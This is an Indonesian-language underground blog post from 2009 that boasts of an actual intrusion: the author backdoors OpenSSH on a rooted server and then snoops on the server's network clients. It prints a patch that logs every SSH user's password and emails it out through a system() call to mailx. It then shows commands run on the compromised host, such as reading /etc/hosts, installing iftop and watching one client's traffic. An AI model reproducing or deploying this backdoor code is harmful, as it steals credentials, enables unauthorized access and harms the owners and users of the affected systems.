Posted by kecoak on Apr 16, 2009 in
Kidz Game,
Underground |
3 comments
Apakah tcpdump? tcpdump adlah slh satu program linux,yg berfungsi untuk menangkap aliran paket data dari eth0 eth1,yg lebih umum dikenal dengan Nm Sniffing Ok sedikit berbagi pengalamn tepatny kemarin ketika sy check email trnyata sdh ada bbrp log yg masuk dri hasil Backdorinf port 22 OpenSSH 4.7p1 yg sy infect ke sbuah server hasil rooting,ttg bgaiman cr backdooring itu sdh dijelaskn sblumnya oleh para Dedengkot2 disini..hehehe 😀 //logs di file + if((f=fopen(LOGZ,"a"))!=NULL){ + fprintf(f,"user:
[email protected] --> %s:%s@%sn",authctxt->server_user,password,authctxt->host); + fclose(f); + } + //kirim ke server pake curl/mail terserah + //example pake 'mailx' + snprintf(logz,sizeof(logz),"tail -1 %s|mailx -s "[owned user]new fucked user" [cencored]@live.com",LOGZ); + system(logz); ... anda dpt membaca dr script di atas,styap ada yg melakukan koneksi ssh dr server itu kluar maupun stu localhost otomatis terkirim ke email sya 😀 ok lgkah awal sy login ke server hasil sniffed tsb, lsg aja
[email protected]:/# cat etc/hosts 127.0.0.1 localhost server0 xx.xxx.xx.xxx rahasia.deh.id #client customer 192.168.90.4 client1 192.168.90.10 client2 192.168.90.15 client3 192.168.90.51 client4 192.168.90.22 client5 192.168.90.201 client6 Woow..keknya server warnet nih..ato kantor ,g tau dah..^^ trs ak liat trafikny,trnyata g bsa iftop,mrka pakai Nload hmm..
[email protected]:/# uname -a;cat etc/issue Linux ds6471 2.6.22-8-server #1 SMP Thu Jul 12 16:28:57 GMT 2007 i686 GNU/Linux Ubuntu 6.06 LTS n l pakai ubuntu..:D,g pake lm lsg aj
[email protected]:/#apt-get install iftop okee sdh terinstall
[email protected]:/#iftop -i eth1 -F 192.168.90.10/32 12.5Kb 25.0Kb 37.5Kb 50.0Kb 62.5Kb +------------------------------------------------------------------------------- 192.168.90.10 <=> bs2.ads.vip.tpc.yahoo.com 5.25Kb 4.03Kb 2.99Kb 192.168.90.10 <=> tx-in-f113.google.com 3.66Kb 4.02Kb 4.22Kb 192.168.90.10 <=> ns3.turbodns.co.uk 748b 1.29Kb 983b 192.168.90.10 <=> 194.14.236.50 1.22Kb 250b 267b 192.168.90.10 <=> server6614.dedicated.webf 0b 188b 67b 192.168.90.10 <=> ds6488.dedicated.turbodns 0b 188b 67b 192.168.90.10 <=> raucousdns.co.uk 0b 188b 67b 192.168.90.10 <=> ad1.vip.rm.jp1.yahoo.net 0b 188b 67b 192.168.90.10 <=> server6485.dedicated.webf 0b 188b 67b 192.168.90.10 <=> in2.msg.vip.mud.yahoo.com 94kb 188b 67b 192.168.90.10 <=> server6542.dedicated.webf 0b 141b 50b 192.168.90.10 <=> server6437.dedicated.webf 0b 125b 132b 192.168.90.10 <=> 239.255.2.2 0b 36b 13b 192.168.90.10 <=> server6577.dedicated.webf 0b 0b...